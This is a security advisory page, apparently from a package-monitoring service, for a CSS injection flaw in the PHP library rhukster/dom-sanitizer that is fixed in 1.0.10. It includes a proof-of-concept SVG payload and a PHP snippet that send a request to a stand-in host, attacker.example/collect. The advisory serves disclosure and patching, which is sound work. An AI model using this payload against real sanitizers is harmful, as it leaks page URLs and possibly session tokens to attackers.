rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
Published 10 Apr 2026 · Updated 5 May 2026
Is your project on an affected rhukster/dom-sanitizer?
Look after several Laravel or PHP apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- <1.0.10
- Fixed in
- 1.0.10
composer require rhukster/dom-sanitizer:^1.0.10Details
Summary
DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.
Details
In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.
Vulnerable code (src/DOMSanitizer.php, line 31):
'svg' => ['style', 'path', 'rect', 'circle', ...],
The following payload survives sanitize() intact:
<svg xmlns="http://www.w3.org/2000/svg">
<style>* { background: url(https://attacker.example/collect); }</style>
</svg>PoC
<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;
$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.
Impact
Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.
Is GHSA-93vf-569f-22cq in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected rhukster/dom-sanitizer, and gives you the command that fixes it.
More advisories for rhukster/dom-sanitizer
- MediumCVE-2023-49146Cross-site Scripting in DOMSanitizer · 23 Nov 2023
References
- Linkgithub.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-40301
- Linkgithub.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2
- Packagegithub.com/rhukster/dom-sanitizer
- Linkgithub.com/rhukster/dom-sanitizer/releases/tag/1.0.10
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.